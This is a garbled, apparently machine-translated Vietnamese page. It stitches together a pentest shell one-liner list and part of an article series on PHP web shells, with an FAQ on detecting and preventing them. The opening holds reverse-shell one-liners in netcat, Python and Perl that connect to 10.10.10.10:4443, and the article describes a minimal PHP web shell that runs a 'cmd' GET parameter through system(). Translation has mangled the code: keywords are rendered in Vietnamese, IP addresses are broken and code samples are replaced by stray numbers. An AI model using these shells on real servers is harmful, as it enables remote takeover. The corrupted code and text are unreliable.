Webshell php một lớp lót
Trong khi làm việc trên pentest, bạn có thể cần sử dụng trình bao một lớp lót. Thông thường, bạn sẽ có một bảng gian lận cho một lớp lót nhưng điều đó sẽ yêu cầu bạn phải Google nó và bạn cũng phải tùy chỉnh chúng. Chúng tôi hỗ trợ bạn ở đây, Chuyển đến Công cụ -> Shell One-Liner
Netcat không có cờ điện tử. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f. /bin/sh -i 2>&1. nc10. 10. 10. 10 4443 >/tmp/f Show NetcatLinux. nc -e /bin/sh 10. 10. 10. 10 4443 cửa sổ netcat. nc -e cmd. exe 10. 10. 10. 10 4443 con trăn. python -c 'nhập socket,sub process,os;s=socket. ổ cắm (ổ cắm. AF_INET,ổ cắm. SOCK_STREAM);s. kết nối(("10. 10. 10. 10",4443));os. dup2(s). fileno(),0); . dup2(s). fileno(),1); . dup2(s). fileno(),2);p=quy trình con. cuộc gọi (["/bin/sh","-i"]);' perl. perl -e 'sử dụng Socket;$i="10. 10. 10. 10";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"> # Lấy đầu vào từ tham số url. vỏ bọc. php?cmd=whoami # Tương tự nhưng sử dụng passthru # Để shell_exec xuất kết quả, bạn cần lặp lại nó # Exec() không xuất kết quả không có echo, chỉ xuất dòng cuối cùng. Vì vậy, không hữu ích lắm # Thay vào đó nếu bạn có thể. Nó sẽ trả về đầu ra dưới dạng một mảng, sau đó in tất cả # preg_replace(). Đây là một mẹo hay $đầu ra"; ?> Trong phần 1 của loạt bài này, chúng ta đã xem web shell là gì và tại sao kẻ tấn công lại tìm cách sử dụng nó. Trong phần 2 của loạt bài này, chúng ta sẽ xem xét một số ví dụ cụ thể về web shell được phát triển bằng ngôn ngữ lập trình PHP Vỏ web tồn tại cho hầu hết mọi ngôn ngữ lập trình web mà bạn có thể nghĩ đến. Chúng tôi chọn tập trung vào PHP vì đây là ngôn ngữ lập trình được sử dụng rộng rãi nhất trên web Trình bao web PHP không làm gì khác hơn là sử dụng các hàm PHP dựng sẵn để thực thi các lệnh. Sau đây là một số hàm phổ biến nhất được sử dụng để thực thi các lệnh shell trong PHP Ghi chú. Vì mục đích của bài viết này, chúng tôi đã chỉnh sửa tệp máy chủ của mình và chỉ tên miền www. thí dụ. com đến một máy chủ thử nghiệm hệ thống()Hàm 3 chấp nhận lệnh dưới dạng tham số và nó xuất kết quảVí dụ sau trên máy Microsoft Windows sẽ chạy lệnh 4 để trả về danh sách thư mục của thư mục mà tệp PHP được thực thi
Thực thi lệnh 5 trên máy Linux cũng đạt được kết quả tương tự
Các lệnh khác có tác dụng tương tự
giám đốc điều hành ()Hàm 6 nhận lệnh dưới dạng tham số nhưng không xuất kết quả. Nếu tham số tùy chọn thứ hai được chỉ định, kết quả sẽ được trả về dưới dạng một mảng. Nếu không, chỉ dòng cuối cùng của kết quả sẽ được hiển thị nếu được lặp lại
Sử dụng 7 với chức năng 6 sẽ chỉ in dòng cuối cùng của đầu ra lệnh 0Nếu một tham số thứ hai được chỉ định, kết quả được trả về trong một mảng 1shell_exec()Hàm 9 tương tự như hàm 6 tuy nhiên nó xuất ra toàn bộ kết quả dưới dạng chuỗi ký tự 4 5passthru()Hàm 1 thực thi một lệnh và trả về đầu ra ở định dạng thô 7proc_open()Hàm 2 có thể khó hiểu (bạn có thể tìm thấy mô tả chi tiết về hàm trong tài liệu PHP). Bằng cách sử dụng 2, chúng tôi có thể tạo một trình xử lý (quy trình) sẽ được sử dụng để liên lạc giữa tập lệnh của chúng tôi và chương trình mà chúng tôi muốn chạyđánh dấu ngượcĐáng ngạc nhiên là không nhiều nhà phát triển PHP nhận thức được điều này nhưng PHP sẽ thực thi nội dung của backticks (`) dưới dạng lệnh shell Ghi chú. Không nên nhầm lẫn ký tự backtick (`) với ký tự trích dẫn đơn (‘) 0Dựa trên những điều trên, sau đây là trình bao web PHP ở dạng đơn giản nhất 0Nó sử dụng hàm system() để thực thi các lệnh đang được truyền qua tham số GET yêu cầu HTTP ‘cmd’ Chúng tôi đã xác định rằng các chức năng này (và một số chức năng khác) có thể rất nguy hiểm. Điều nguy hiểm hơn nữa là tất cả các lệnh PHP có sẵn này được bật theo mặc định khi PHP được cài đặt và phần lớn quản trị viên hệ thống không tắt chúng Nếu bạn không chắc liệu chúng có được bật trên hệ thống của mình hay không, thao tác sau đây sẽ trả về danh sách các chức năng nguy hiểm đã được bật 1Trong cài đặt mặc định, chúng ta có thể thấy rằng tất cả các chức năng được đề cập ở trên đều được bật 2
Phần 1Giới thiệu về Web Shell Phần 2Web Shell 101 Sử dụng PHP Phần 3Giữ vỏ bọc web dưới vỏ bọc Phần 4Web Shell đang hoạt động Phần 5Phát hiện & Phòng ngừa Các câu hỏi thường gặpvỏ web là gì?Vỏ web là một ứng dụng nhỏ mà kẻ tấn công chạy trên máy chủ web của bạn. Sau đó, họ có thể sử dụng ứng dụng này để truy cập từ xa vào máy chủ của bạn và chạy các lệnh trên đó. Bản thân vỏ web không bao giờ là một cuộc tấn công, nó là hậu quả của một cuộc tấn công thành công vào trang web hoặc ứng dụng web của bạn. Điều này có nghĩa là nếu bạn có web shell, bạn sẽ phải lo lắng về một vấn đề nghiêm trọng hơn nhiều Xem cách web shell hoạt động trong thực tế Làm thế nào để tin tặc độc hại sử dụng vỏ web?Tin tặc độc hại sử dụng vỏ web để kiểm soát máy chủ đã bị xâm phạm. Đầu tiên, chúng khai thác lỗ hổng trong trang web hoặc ứng dụng web của bạn, chẳng hạn như SQL injection, thực thi mã từ xa hoặc các lỗ hổng khác. Sau đó, họ tải web shell lên máy chủ web của bạn. Từ bây giờ, họ có thể chạy bất kỳ lệnh nào họ thích trên máy chủ của bạn Xem ví dụ từng bước về cuộc tấn công dẫn đến xâm phạm toàn bộ máy chủ Làm cách nào tôi có thể phát hiện web shell?Bạn có thể phát hiện vỏ web bằng cách phân tích nhật ký. Tuy nhiên, bạn không nên tập trung vào việc phát hiện web shell mà thay vào đó, bạn nên phát hiện các lỗ hổng có thể cho phép kẻ tấn công kiểm soát máy chủ của bạn. Ngay cả khi bạn phát hiện ra web shell, điều đó sẽ không ngăn được kẻ tấn công giành lại quyền kiểm soát nếu các lỗ hổng vẫn còn đó. Để phát hiện các lỗ hổng web và tìm hiểu cách loại bỏ chúng, hãy sử dụng Acunetix Xem những gì Acunetix Premium có thể làm cho bạn Làm cách nào tôi có thể tự bảo vệ mình trước web shell?Cách tốt nhất để tự bảo vệ mình trước web shell là làm cho hệ thống của bạn không thể sử dụng chúng. Bạn có thể làm điều đó bằng cách làm cứng máy chủ của mình – xóa tất cả các quyền thừa, chặn các chức năng nguy hiểm tiềm ẩn, hạn chế thực thi tập lệnh trong các thư mục tải lên, v.v. Tuy nhiên, tốt nhất là bảo vệ máy chủ khỏi bị xâm nhập ngay từ đầu bằng cách sử dụng Acunetix thường xuyên Đọc thêm về phát hiện và bảo vệ web shell Nhận nội dung mới nhất về bảo mật web Chúng tôi tôn trọng quyền riêng tư của bạn CHIA SẺ BÀI NÀYTÁC GIẢ Agathoklis Prodromou Webshell PHP là gì?Vỏ web là một đoạn mã độc hại, thường được viết bằng các ngôn ngữ lập trình phát triển web điển hình như ASP, PHP và JSP, mà những kẻ tấn công cấy vào máy chủ web để cung cấp quyền truy cập từ xa và thực thi mã cho các chức năng của máy chủ
Webshell có phải là cửa hậu không?Web shell là các tập lệnh độc hại cho phép các tác nhân đe dọa xâm phạm máy chủ web và khởi chạy các cuộc tấn công bổ sung. Trước tiên, các tác nhân đe dọa xâm nhập hệ thống hoặc mạng, sau đó cài đặt trình bao web. Từ thời điểm này trở đi, họ sử dụng nó như một cửa hậu vĩnh viễn vào các ứng dụng web được nhắm mục tiêu và mọi hệ thống được kết nối . |